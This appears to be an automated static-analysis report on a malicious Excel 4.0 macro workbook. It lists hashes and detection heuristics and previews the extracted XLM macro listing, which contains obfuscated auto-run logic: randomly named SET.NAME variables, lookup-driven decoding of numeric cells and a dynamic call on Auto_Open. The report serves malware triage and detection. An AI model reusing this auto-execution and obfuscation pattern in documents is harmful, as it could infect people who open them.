Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c2242fa71d61129a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:45:11 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 82caa717f1c1f770967e1c5219b6355e SHA-1: c18b5bb340644656a45393ae223104dbe52f3f12 SHA-256: c2242fa71d61129a3e8858ff6b36f7dfac782baba8899f0bab1a43e7085b9176
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6699 bytes
SHA-256: beae28a75ec82c158391041ecc1ff77195fed7ae71c83e932e510e19b9453436
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DwyBD
' 0018     27 LABEL : Cell Value, String Constant - AcnTEaDcsyas len=0 
' 0018     20 LABEL : Cell Value, String Constant - alKoP len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E172 
' 0018     24 LABEL : Cell Value, String Constant - GjlcQqGNh len=0 
' 0018     27 LABEL : Cell Value, String Constant - ijdbFzrQEfLs len=0 
' 0018     23 LABEL : Cell Value, String Constant - ivdPqWQC len=0 
' 0018     25 LABEL : Cell Value, String Constant - JmlVzZiXlF len=0 
' 0018     22 LABEL : Cell Value, String Constant - JxinxOC len=0 
' 0018     27 LABEL : Cell Value, String Constant - KcuQesICAdPi len=0 
' 0018     27 LABEL : Cell Value, String Constant - KZLFWGHpGOxQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - LkTvFKoxpT len=0 
' 0018     20 LABEL : Cell Value, String Constant - lULXp len=0 
' 0018     25 LABEL : Cell Value, String Constant - omfUMHmbpa len=0 
' 0018     22 LABEL : Cell Value, String Constant - sKsybML len=0 
' 0018     26 LABEL : Cell Value, String Constant - SPzoKLblhtH len=0 
' 0018     24 LABEL : Cell Value, String Constant - tbpAmNfhc len=0 
' 0018     26 LABEL : Cell Value, String Constant - vGDTgjsdcwt len=0 
' 0018     27 LABEL : Cell Value, String Constant - woNtKmRdXkSJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - XjBdJdIHVE len=0 
' 0018     27 LABEL : Cell Value, String Constant - yopuiQiwqtbc len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZauGIJkin len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DwyBD,E83,"SET.NAME("JmlVzZiXlF",0+VALUE("0"))",""
'  DwyBD,E85,"SET.NAME("alKoP",JmlVzZiXlF)",""
'  DwyBD,E89,"SET.NAME("lULXp",JmlVzZiXlF)",""
'  DwyBD,E92,"SET.NAME("KcuQesICAdPi",COUNTA(omfUMHmbpa))",""
'  DwyBD,R93,"",251.00000000000000000000
'  DwyBD,R94,"",-850.00000000000000000000
'  DwyBD,R95,"",-371.00000000000000000000
'  DwyBD,E96,"SET.NAME("tbpAmNfhc",COUNTA(woNtKmRdXkSJ))",""
'  DwyBD,R96,"",-893.00000000000000000000
'  DwyBD,R97,"",254.00000000000000000000
'  DwyBD,R98,"",684.00000000000000000000
'  DwyBD,E100,[],""
'  DwyBD,E105,"SET.NAME("AcnTEaDcsyas","")",""
'  DwyBD,E110,"alKoP",""
'  DwyBD,E112,"SET.NAME("sKsybML",HLOOKUP("*",omfUMHmbpa,alKoP,FALSE))",""
'  DwyBD,E115,"ivdPqWQC",""
'  DwyBD,E118,"SET.NAME("SPzoKLblhtH",JmlVzZiXlF)",""
'  DwyBD,E122,[],""
'  DwyBD,E124,"SPzoKLblhtH",""
'  DwyBD,E129,"JxinxOC",""
'  DwyBD,E131,"vGDTgjsdcwt",""
'  DwyBD,E133,"KZLFWGHpGOxQ",""
'  DwyBD,E138,"SET.NAME("LkTvFKoxpT",VALUE(HLOOKUP("*",woNtKmRdXkSJ,KZLFWGHpGOxQ,FALSE)))",""
'  DwyBD,E141,"ZauGIJkin",""
'  DwyBD,E146,"AcnTEaDcsyas",""
'  DwyBD,E148,"lULXp",""
'  DwyBD,E153,NEXT(),""
'  DwyBD,E156,"GjlcQqGNh",""
'  DwyBD,E158,[],""
'  DwyBD,E163,"XjBdJdIHVE",""
'  DwyBD,E165,NEXT(),""
'  DwyBD,E168,RETURN(),""
'  DwyBD,E196,"SET.NAME("ijdbFzrQEfLs",E83)",""
'  DwyBD,E201,"omfUMHmbpa",""
'  DwyBD,E205,"SET.NAME("woNtKmRdXkSJ",R43C15)",""
'  DwyBD,E209,"SET.NAME("XjBdJdIHVE",217)",""
'  DwyBD,E214,"SET.NAME("yopuiQiwqtbc",5)",""
'  DwyBD,E216,ijdbFzrQEfLs(),""
'  DwyBD,E217,HALT(),""

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